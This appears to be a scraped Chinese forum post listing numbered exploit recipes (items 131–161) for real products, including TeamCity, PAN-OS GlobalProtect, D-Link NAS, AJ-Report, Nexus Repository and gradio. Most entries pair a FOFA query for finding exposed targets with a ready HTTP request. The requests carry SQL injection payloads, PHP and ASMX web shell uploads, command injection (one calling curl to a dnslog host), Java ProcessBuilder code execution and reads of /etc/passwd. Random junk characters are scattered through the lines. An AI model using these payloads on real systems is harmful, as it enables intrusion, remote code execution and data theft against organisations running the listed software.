, U' z. Z: F0 ZConnection: close

! z; ?  u7 ^7 ], G$ q------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
5 x- w1 W1 `' S3 xContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

' `% t& z1 W& L
. s; @: r; Q+ |131. Mini-Tmall <=20231017 SQL注入
  J( s& n* [. _; wFOFA：icon_hash="-2087517259"
/ W% h: v3 T% r  W# m& C后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

6 ?9 I$ Q2 W' K! ^9 K0 o132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
; f2 L8 J0 k7 U! LCVE-2024-27198
FOFA：body="Log in to TeamCity"
5 m% V1 C& F7 ~7 ^POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
% F4 `+ ~, \* {+ l' D1 y$ P7 q3 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
$ G4 W" N4 P/ s0 z! V) t) H+ G
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


2 x2 G/ t  v7 |; PCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
) e  }9 y! p: a1 Y% C; ]/update/../admin/diagnostic.jsp

5 x" B7 u8 y2 v4 @7 d8 i: V
9 F% [! G0 O: r# Y+ QCVE-2024-27198-RCE.py
6 a* h1 q+ A$ T. _6 }5 c
) l# I: ^. I& \133. H5 云商城 file.php 文件上传
2 G- E, M$ u+ L# c  b' [+ FFOFA：body="/public/qbsp.php"
; O2 v$ l7 ^1 l% y; EPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
5 P3 o. J9 @, V) B- `+ rHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 n9 d0 O2 v% jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
2 t. r; \+ t& y0 R
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
, L1 I7 U4 Y$ ?& u' WContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



3 ]# `6 l& S+ x% L134. 网康NS-ASG应用安全网关index.php sql注入
( f! y6 U7 k3 j( s8 hCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
  ]. ~& Q0 U2 x) ], F" }5 xPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
9 e# |% D7 R3 H* P- x+ FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) x: [/ V# m/ N6 f' yAccept-Encoding: gzip, deflate
6 p$ l# z1 Z9 {6 H6 @& D" iSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
  e2 E5 ?9 a2 j6 {Te: trailers
8 I+ H; m& d, l: L; g  kConnection: close
1 I2 o5 E) o! W0 h1 G- y6 q" ^0 \1 U' \Content-Type: application/x-www-form-urlencoded
1 a# j" K: v& l  W6 TContent-Length: 263
& i) b$ Y) `6 i* ?" j! G" n
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
. @& M' Q2 T5 H3 y! Y

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
+ O! @, {$ u4 M  R" PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! }7 I  w/ C; b. UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; M3 w: |$ U+ Z( m$ R  }* L7 K) R- yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 V; D3 W; I8 A$ O3 SConnection: close
) z" r; l3 U  B4 u' i. I

- Z& j2 U$ M& x# @+ K, \3 H/ [" o136. NextChat cors SSRF
* _; I% I4 k. k! oCVE-2023-49785
5 |& r( T- y. s( \1 lFOFA：title="NextChat"
# O' A- _9 v5 u3 C, \" A; `' ~: pGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
% a  [" y# `  C  X( cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 X1 f! l  i8 T3 V- d* ~+ J; AConnection: close
Accept: */*
% Z, P/ G4 W8 n7 l8 l$ Z8 ]# @Accept-Language: en
0 g3 @* o% I  n0 W5 TAccept-Encoding: gzip

, f7 U( E' Y. ~% ], H5 D5 r
' c  T* c; J1 H( j/ _( ]137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 F8 [. n" G0 X  dCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 I4 T( _* C  ^! M; ~GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
! Q4 T/ D; M5 R' mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! e9 K1 T+ J6 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  q8 W1 {8 ?% bAccept-Encoding: gzip, deflate, br
0 F! L5 N9 c( n2 hConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

" K$ W" C0 q. m8 s9 U. Y1 y
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
2 z$ k" f4 }0 r7 GCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
, U' `, v% I  Y2 \; I- NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* v: u: b) T% z; F; i$ UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^0 ]$ z! p1 X7 ZAccept-Encoding: gzip, deflate, br
Connection: close
8 X  i8 Z! j" GUpgrade-Insecure-Requests: 1

: E% I0 l  x' o" C2 E: ~
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% j" X5 p$ I! M6 c' m' kCVE-2024-2622
$ e9 I! H9 D+ o6 ?6 l6 z6 q; `- Q) UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
$ l  ^: A. G( c4 I( R# c* \6 R4 NHost: x.x.x.x
' c) I' n7 C4 r: t, {3 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: Z0 v) G) e; TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- E; P& V) }8 ^) g; J- iAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
2 f- M3 R  @  x5 C! lCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ S: X/ a" ^3 n! _9 Q* o6 e- VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
) D  J0 z4 s* y9 C0 I# u  s% ~Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

  J7 a7 ?6 R. C$ h5 s* g  i
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
2 k. \" ]+ D9 W8 cUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; p) c# E  P1 g! P4 @( UContent-Type: application/x-www-form-urlencoded
" V# ~9 a2 s- k" ^8 m# z# j7 V

! [% H, d$ c. ~! u. |  B. Gdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


7 T4 Q; G6 t$ K7 A: }. b142. CMSV6车辆监控平台系统中存在弱密码
$ ^( C+ @9 H% X  \/ z* H( PCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
  J3 u) V' i) P% ACVE-2024-25850
' t; {" R* C1 F- f* qFOFA：title='AP setup' && header='netis'
PAYLOAD
* o* |- x& F) F0 p, `: b9 z
: s9 g7 H! G. ^) M144. D-Link nas_sharing.cgi 命令注入
  B7 [; U$ I. V$ E9 ?+ K3 O* nFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
0 K- z: `- J* c5 g* xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. G3 f' m$ `! @3 d  W! x

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
, F: a2 @4 v( c5 z5 ]% J6 fCVE-2024-3400
+ [) y0 x1 g5 Q, }7 s! A/ @" T5 CFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
9 Z  H1 l( }) A0 @( SHost: 192.168.30.112:1005
: X% A7 f# i+ T6 Q- x8 ]& X2 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
3 Q; ?$ d% [  n7 ICookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
# I1 l$ y( G5 z5 a6 \5 ]Accept-Encoding: gzip
# j, i8 Y0 E( V/ Y: u; h

146. MajorDoMo thumb.php 未授权远程代码执行
, X9 t" A; M3 G# E. ~! K. tCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
1 c$ B! K1 r& z6 p4 F/ ?3 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
% |% n* W( w5 c6 c, Z: O7 LAccept-Encoding: gzip, deflate
Connection: close
; d, [+ p0 u/ U

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
+ B" u2 d% R; H4 e+ ^Host: 127.0.0.1:81
  S/ n9 A) v! E- d; HCache-Control: max-age=0
Connection: close

& o% M! ^9 \: O
2 H( j2 Q$ Z4 i# M* ]% g( N148. CrushFTP 认证绕过模板注入
  L" `4 ~4 [7 k3 B6 B6 C. \$ CCVE-2024-4040
7 Z& ~' \8 b% q6 ~2 `' rFOFA：body="CrushFTP"
( i5 Y5 k8 ]" d% b+ `PAYLOAD
* i$ z4 n! U# C) G  D
; w4 x# q; M) @% h6 X149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
4 y& w+ g5 f* R3 U
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
; k6 q, q0 S6 Y3 W9 p- L  i: X& SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  i; D+ s5 p! q6 L' ?1 p; DAccept-Encoding: gzip, deflate, br
0 O5 {2 m* n. y0 X0 L8 z% U) VAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

/ H# q4 b& n. d# [3 n; w. F* I, R- c% r{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

* q0 H( j  ^6 `  m4 D0 V; X, J6 j# a' R150. AJ-Report 1.4.0 认证绕过与远程代码执行
9 d9 N9 |3 h. OFOFA：title="AJ-Report"
5 _8 V# n/ r: WPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
2 e# h3 `" p% A% JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ ^' k4 e$ u3 KAccept-Encoding: gzip, deflate, br
8 Z4 O; |3 G( FAccept-Language: zh-CN,zh;q=0.9
1 {9 [! U- ?' t5 W7 L+ w2 o" V2 VContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 [! s# m: E; x5 T  W. V1 }

/ V1 h+ g% C4 d2 I" D0 Y151. AJ-Report 1.4.1 pageList sql注入
; X8 v3 L+ O$ Y) t# L1 FFOFA：title="AJ-Report"
, f& x9 x9 {, Y" C/ y4 g/ W' PGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

  s& b8 Y* g1 V) M* `* H
152. Progress Kemp LoadMaster 远程命令执行
! s, }/ J7 ~' N3 CCVE-2024-1212
7 L# R# H. S  y. b5 j: e  hLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
& K! r0 F, L5 vLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
  j4 A% K! H5 _# z+ }5 n1 C. OAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
- }1 u( p& a7 C  DAccept-Encoding: gzip

+ U$ i9 o) G; }& _; L3 @
153. gradio任意文件读取
) R! h; b; M/ }5 g. s& `( R1 ~CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
' a8 V! Y! e. }) j8 F

第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
6 e* g1 R. c% ?9 O% IHost: x.x.x.x
) q) ~2 r2 }; F0 Z/ K1 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
# n" j4 Q/ D% H$ \. l0 @( k  NConnection: close
Content-Length: 115
' _& r7 |& {8 g4 d- {" ?1 ]Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

! Q9 k; l2 W" N4 h- [
第三步访问
2 y( ?$ m2 U$ \( p8 |9 ?: \( Dhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
& C8 k+ C) R. {% Q6 O/ ]9 v
7 d4 f2 l) R1 H" X! Q
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
7 I' i7 s# P7 O* O- CHost: x.x.x.x
Content-Length: 106
2 o0 t; n' K. C  |Cache-Control: max-age=0
& e: @% v% F+ WUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
& g8 G  `/ J, N3 k+ ]7 m7 o1 t5 [
0 C8 P# K( p: J  I" l" l1 _{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
8 I+ v+ R. T; l3 C" T

155. 六零导航页 file.php 任意文件上传
% P! ]; K# \5 d* n$ BCVE-2024-34982
9 y; J7 y# G) r3 p8 C  MFOFA：title=="上网导航 - LyLme Spage"
7 B4 u' M% r$ S# R8 P1 ]) f. TPOST /include/file.php HTTP/1.1
& s  K" Q/ u! a. o( @* G+ SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
( v8 h1 f# [" }, t- E6 x8 a" b. jConnection: close
Content-Length: 232
+ l% }5 W' e% L# u+ t7 gAccept: application/json, text/javascript, */*; q=0.01
/ `2 W, R3 @$ o8 B4 ~Accept-Encoding: gzip, deflate, br
( o9 {" ]' y+ cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
7 c! M& |8 T3 `3 n; ^' B9 B- I. O
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

! N. c5 U& C" z' Z4 r<?php phpinfo();unlink(__FILE__);?>
: k; x  D) `- a9 @-----------------------------qttl7vemrsold314zg0f--
3 h+ J% j( P# C& d5 {2 E0 O( z

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& d& j  \  U  `2 P: C
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
2 T$ J; G6 q0 X, m% wFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
% U' c) m2 R/ k5 O

5 D, {# V& C2 X5 P) ]; PPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
, m) V! d; e& B; hHost: x.x.x.x
5 y: N! e* n; K; y2 {( RUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 n. i5 k( M" A/ ]5 BConnection: close
Content-Length: 0
Cookie: uid=1
* m& A) \& c' A, a1 R( QAccept-Encoding: gzip


, c6 _0 }5 q$ q- z2 y, l# ]3 h157. 美特CRM upload.jsp 任意文件上传
$ o3 Y  L$ ^- Z8 }CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
- r4 T' ^# k, I; |0 uPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
$ C. a8 b. a+ J) L; vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 [4 t6 B$ k! {# wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 @! {; H# U6 t# g( @( WCache-Control: max-age=0
Connection: close
* l$ t0 A* [! K6 W7 E( u+ x/ U" oContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
  W" m* b+ e- y) {7 sUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
5 h( W9 r9 f6 H. a6 e1 x- rContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
, U7 ]- }6 H0 g0 G$ ^' F/ [
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
& I7 |( w& Q) U. `Content-Disposition: form-data; name="key"

* V0 k, G. `, D% Enull
------WebKitFormBoundary1imovELzPsfzp5dN
  f* N2 G7 Z  l; L! uContent-Disposition: form-data; name="form"
$ R# X+ [7 o5 t: R0 r
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
- y- {; z1 i: I! o
& _: C; f2 ?: L/ f# pnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

' d8 H* y( a1 P9 O6 I$ L; P3 |null
  f" H! t7 v  D9 ]8 I+ A7 D------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--

$ r) x! S6 s2 _2 R6 i/ O& A
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
# @8 Z5 x8 G2 X
0 {8 |) l+ A8 X1 B/ e158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
$ n/ x( A( Y% RPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
" v8 I+ x+ y1 {& P3 q: Y( q# pHost: {{Hostname}}
$ N1 m; @8 [& j$ RContent-Type: application/x-www-form-urlencoded
7 z$ t( \9 J7 i2 V
object=displayregion&contenthistid=x\'&previewid=1
. J/ ^+ t3 b8 F7 N/ w
) n% k& d0 C4 c7 l& s0 K; [+ ~% H
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
8 D* k1 s" Y$ d; @; c4 z& WPOST /webservices/WebJobUpload.asmx HTTP/1.1
$ o# [+ F) q# w4 `7 b( q0 T% k0 ~1 QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
, [, H* \- v# f( |# ?. r9 bContent-Length: 1080
Accept-Encoding: gzip, deflate
& u! E3 [; O# r" j" z5 G! z1 q( e  ]Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
- l5 m3 m! e% e6 p  @4 A2 r<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 ]- U1 M. @2 d5 V" Q5 t<soap:Body>
<jobUpload xmlns="http://rainier">
2 e7 C4 ]7 A, K7 V0 `<vcode>1</vcode>
<subFolder></subFolder>
. O$ g6 \, C  A6 P7 b9 o9 f<fileName>abcrce.asmx</fileName>
$ o, \; v4 T, W1 ~3 H9 q, `* S<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>


6 F$ p( E+ n. Q6 o/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

1 B5 k4 U3 E# S5 G/ \
( R3 M3 ~. I" {# j1 F) {4 n160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
. J, ]( G: e& @+ s" oFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
1 e7 V" u; [/ r6 Z* e7 Y3 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
, p! _5 _( z3 EConnection: close
+ c. B- L6 i, ^8 t: KAccept: */*
Accept-Language: en
Accept-Encoding: gzip
" Q  o4 x: n- C! k

1 J, ]+ C+ y# X6 |4 _& n7 i2 B2 a161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
